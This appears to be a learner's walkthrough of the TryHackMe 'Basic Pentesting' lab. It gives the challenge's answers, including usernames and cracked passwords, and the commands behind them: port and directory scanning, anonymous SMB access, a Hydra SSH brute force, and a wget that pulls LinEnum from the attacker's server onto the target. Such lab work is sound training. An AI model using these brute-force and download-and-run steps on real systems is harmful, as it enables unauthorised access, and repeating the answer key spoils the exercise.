Challenges: Basic Pentesting (TryHackMe)

This article will cover the Basic Pentesting write-up on THM Challenges.

Web App Testing and Privilege Escalation

In these set of tasks you'll learn the following:

• brute forcing

• hash cracking

• service enumeration

• Linux Enumeration

The main goal here is to learn as much as possible. Make sure you are connected to our network using your OpenVPN configuration file.

Credits to Josiah Pierce from Vulnhub.

Answer the questions below

1. Deploy the machine and connect to our network

2. Find the services exposed by the machine

3. What is the name of the hidden directory on the web server(enter name without /)? development

nmap -sV -p 1-65000 <IP_Address>

gobuster dir -u <IP_Address> -w /usr/share/wordlists/dirb/common.txt

4. User brute-forcing to find the username & password

5. What is the username? jan
smbclient -L \\\\<IP_Address>\\ -N

   smbclient -L \\\\10.10.11.217\\Anonymous -N this launches the smb client

   smb: \> ls
   // we’ll access the staff.txt file

   smb: \> exit

   

   cat staff.txt //We’ll find two users

   

6. What is the password? armando

   There are a lot of Hydra commands, but the one that worked for this case was the one that uses SSH

   hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.143.82

   

7. What service do you use to access the server(answer in abbreviation in all caps)? SSH

8. Enumerate the machine to find any vectors for privilege escalation

   On one tab, start the server at port 8000: python3 -m http.server 8000

   on another run the following commands:

   wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

   wget http://10.10.144.83:8000/LinEnum.sh

   chmod +x LinEnum.sh

   

   ./LinEnum.sh

9. What is the name of the other user you found(all lowercase)? kay

10. If you have found another user, what can you do with this information?

    For this last part, you’ll be using John and SSH2John.py to find the id_rsa and later on the password

11. What is the final password you obtain? heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Thank you for reading my article. Please leave any questions or comments on improving my learning journey and the THM challenges.